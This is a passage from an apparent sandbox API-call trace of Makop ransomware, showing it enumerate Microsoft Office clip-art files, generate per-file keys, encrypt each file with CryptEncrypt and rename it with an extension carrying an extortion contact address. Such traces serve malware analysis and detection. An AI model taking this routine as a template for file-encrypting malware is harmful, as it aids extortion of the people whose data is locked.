dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.089] SetEndOfFile (hFile=0xf0) returned 1 [0114.096] GetProcessHeap () returned 0x48a0000 [0114.096] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0114.096] GetProcessHeap () returned 0x48a0000 [0114.096] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.096] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.096] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.098] CloseHandle (hObject=0xf0) returned 1 [0114.098] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0114.098] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 63 [0114.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.099] GetProcessHeap () returned 0x48a0000 [0114.099] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.099] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.099] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.099] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.099] GetProcessHeap () returned 0x48a0000 [0114.099] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0114.100] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.100] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.100] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.104] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.104] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.105] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.105] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.105] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.105] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.105] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.105] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.105] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x670, lpOverlapped=0x0) returned 1 [0114.105] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x670, dwBufLen=0x670 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x670) returned 1 [0114.106] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.106] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x670, lpOverlapped=0x0) returned 1 [0114.106] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.106] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.106] SetEndOfFile (hFile=0xf0) returned 1 [0114.118] GetProcessHeap () returned 0x48a0000 [0114.118] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0114.118] GetProcessHeap () returned 0x48a0000 [0114.118] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.118] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.119] CloseHandle (hObject=0xf0) returned 1 [0114.120] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0114.120] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 63 [0114.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.120] GetProcessHeap () returned 0x48a0000 [0114.120] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.120] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.120] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.125] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.125] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.125] GetProcessHeap () returned 0x48a0000 [0114.125] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0114.125] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.125] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.125] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.126] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.126] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.126] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.126] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.126] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.127] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc38, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc38, lpOverlapped=0x0) returned 1 [0114.127] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc40, dwBufLen=0xc40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc40) returned 1 [0114.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.127] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc40, lpOverlapped=0x0) returned 1 [0114.127] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.127] SetEndOfFile (hFile=0xf0) returned 1 [0114.134] GetProcessHeap () returned 0x48a0000 [0114.134] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0114.134] GetProcessHeap () returned 0x48a0000 [0114.134] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.134] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.135] CloseHandle (hObject=0xf0) returned 1 [0114.135] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0114.135] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0114.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.137] GetProcessHeap () returned 0x48a0000 [0114.137] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.137] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.137] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.138] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0114.142] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.142] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.142] GetProcessHeap () returned 0x48a0000 [0114.142] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0114.142] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.143] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.143] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.143] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.143] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.143] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.144] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.144] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.144] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.144] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.144] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x32b5, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x32b5, lpOverlapped=0x0) returned 1 [0114.145] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x32c0, dwBufLen=0x32c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x32c0) returned 1 [0114.146] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.146] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x32c0, lpOverlapped=0x0) returned 1 [0114.146] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.146] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.146] SetEndOfFile (hFile=0xf0) returned 1 [0114.153] GetProcessHeap () returned 0x48a0000 [0114.153] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0114.153] GetProcessHeap () returned 0x48a0000 [0114.153] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0114.153] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0114.154] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0114.155] CloseHandle (hObject=0xf0) returned 1 [0114.155] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1 [0114.155] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0114.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0114.157] GetProcessHeap () returned 0x48a0000 [0114.157] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0114.157] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0114.157] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0114.157] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0114.163] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.163] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.163] GetProcessHeap () returned 0x48a0000 [0114.163] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0114.163] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0114.163] CryptDestroyKey (hKey=0x48c7128) returned 1 [0114.163] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0114.163] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0114.164] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0114.164] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0114.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0114.164] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0114.164] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0114.164] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0114.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.164] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2466, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2466, lpOverlapped=0x0) returned 1 [0114.168] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2470, dwBufLen=0x2470 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2470) returned 1 [0114.169] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 